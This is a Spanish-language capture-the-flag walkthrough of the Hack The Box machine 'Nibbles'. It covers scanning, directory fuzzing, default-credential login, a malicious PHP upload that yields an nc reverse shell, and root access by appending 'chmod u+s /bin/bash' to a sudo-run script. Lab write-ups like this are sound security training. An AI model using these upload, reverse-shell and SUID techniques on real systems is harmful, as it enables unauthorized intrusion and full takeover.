Nibbles ~ Hack The Box to OSCP

Realizamos el Primer escaneo con Nmap

$" nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn -oG allports 10.10.10.75       "

Procedemos con el siguiente escaneo de Nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Procedemos a hechar un vistazo visual del puerto 80 o servicio HTTP

"Encontramos esta ruta en el codigo fuente /nibbleblog/"

Hacemos un pequeño fuzzing con la herramientaWfuzz:

# wfuzz -c -L --hc=404  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  http://10.10.10.75/nibbleblog/FUZZ        
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.75/nibbleblog/FUZZ
Total requests: 220547

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                        
=====================================================================

000000062:   200        18 L     82 W       1353 Ch     "content"                                                                      
000000114:   200        20 L     104 W      1741 Ch     "themes"                                                                       
000000246:   200        22 L     126 W      2127 Ch     "admin"                                                                        
000000506:   200        30 L     214 W      3777 Ch     "plugins"                                                                      
000000884:   200        63 L     643 W      4624 Ch     "README"                                                                       
000000922:   200        27 L     181 W      3167 Ch     "languages"                                                                    
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing 

Chequeamos el Wapalizzer y nos reporta que esta construida en lenguaje PHP vamos a hechar un vistazo a las rutas encontradas: En la ruta /admin.php encontramos un panel loguin. En las demas rutas encontramos los recursos de la pagina web.

Password Guessing

Nos montamos un pequeño diccionario para intentar advinar las credenciales por defecto:

admin
Administrator
root
{Nombre de la Box}
password
Password
Pass

Probamos con las credenciales que podrian ser contraseñas por defecto y obtenemos un resultado correcto para admin:nibbles. Una vez dentro del panel del CMS NibbleBlog procedemos a apuntar a los plugins, mas concretamente al plugin de My_Images Nos metemos en la opcion de Configuracion de ahi vemos que podemos subir archivos.

File Upload ~ Vulnerability

Probamos a subir una archivo Malicioso en PHP y vemos que efectivamente se sube correctamente. Ahora apuntando a nuestro archivo en PHP para que se interprete y con una session de nc -vlnp 1234 abierta.. Recibimos la Conexion entrante.

Direccion de nuestro archivo "http://10.10.10.75/nibbleblog/content/private/plugins/my_image/"

Entramos como el usuario:

# nc -vlnp 1234         
listening on [any] 1234 ...
connect to [10.10.15.4] from (UNKNOWN) [10.10.10.75] 48890
Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 05:57:27 up 33 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
"nibbler"

Nos movemos al directorio /home/ y pillamos la Flag del User.txt

nibbler@Nibbles:/home/nibbler$ ls
personal.zip  user.txt

Escalada de privilegios

Procedemos a ver los privilegios que tenemos con el comando sudo -l

nibbler@Nibbles:/home/nibbler$ sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

"User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh"

Vemos que tenemos una archivo llamado monitor.sh el cual podemos ejecutar como root sin proporcionar contraseña. Procedemos a usar el comando unzip para descomprimir el archivo encontrado personal.zip

nibbler@Nibbles:/home/nibbler$ unzip personal.zip 
"Archive:  personal.zip
   creating: personal/
   creating: personal/stuff/
  inflating: personal/stuff/monitor.sh"

Ya tenemos el archivo monitor.sh vamos a ver si podemos modificarlo para luego poder ejecutarlo como root:

nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -la monitor.sh 
-rwxrwxrwx 1 nibbler nibbler 4015 May  8  2015 monitor.sh

Vemos que si, asique porque no vamos a meterle un comando para escalar privilegios cuando Nosotros como root ejecutemos el archivo encuestion. Metemos este Comando chmod u+s /bin/bash al final de monitor.sh Procedemos a ejecutar el archivo como root:

nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo ./monitor.sh

Comprobamos si nos ha hecho el comando como root y si la /bin/bash tiene ahora permisos SUID para hacer un bash -p y convertirnos en root.

nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -l /bin/bash 
-rwsr-xr-x 1 root root 1037528 May 16  2017 /bin/bash

Nos convertimos a root:

nibbler@Nibbles:/home/nibbler/personal/stuff$ bash -p
bash-4.3# whoami
root
bash-4.3# cd /root/
bash-4.3# cat root.txt 
5ad46c3fceb79f2a7407ceexxxxxxxxxxxxxx

Maquina Rooteada =) Seguimos Full Hacks